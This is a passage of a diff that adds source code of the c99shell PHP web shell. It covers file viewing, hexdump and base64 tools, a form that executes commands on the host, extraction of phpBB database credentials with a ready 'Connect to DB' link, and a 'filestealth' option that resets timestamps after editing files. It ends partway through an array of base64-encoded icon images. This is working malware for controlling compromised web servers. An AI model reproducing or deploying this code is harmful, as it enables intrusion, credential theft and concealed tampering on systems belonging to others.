href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d.$f)); + if ($tmp["name"] == "") {echo fileowner($d.$f)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d.$f)); + if ($tmp["name"] == "") {echo filegroup($d.$f);} + else {echo $tmp['name'];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {exit;} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("phpBB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {exit;} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form method=\"POST\"><input type=\"submit\" name=\"submit\" value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,strlen($d)-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"refresh"=> +"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". +"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". +"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". +"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". + +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". 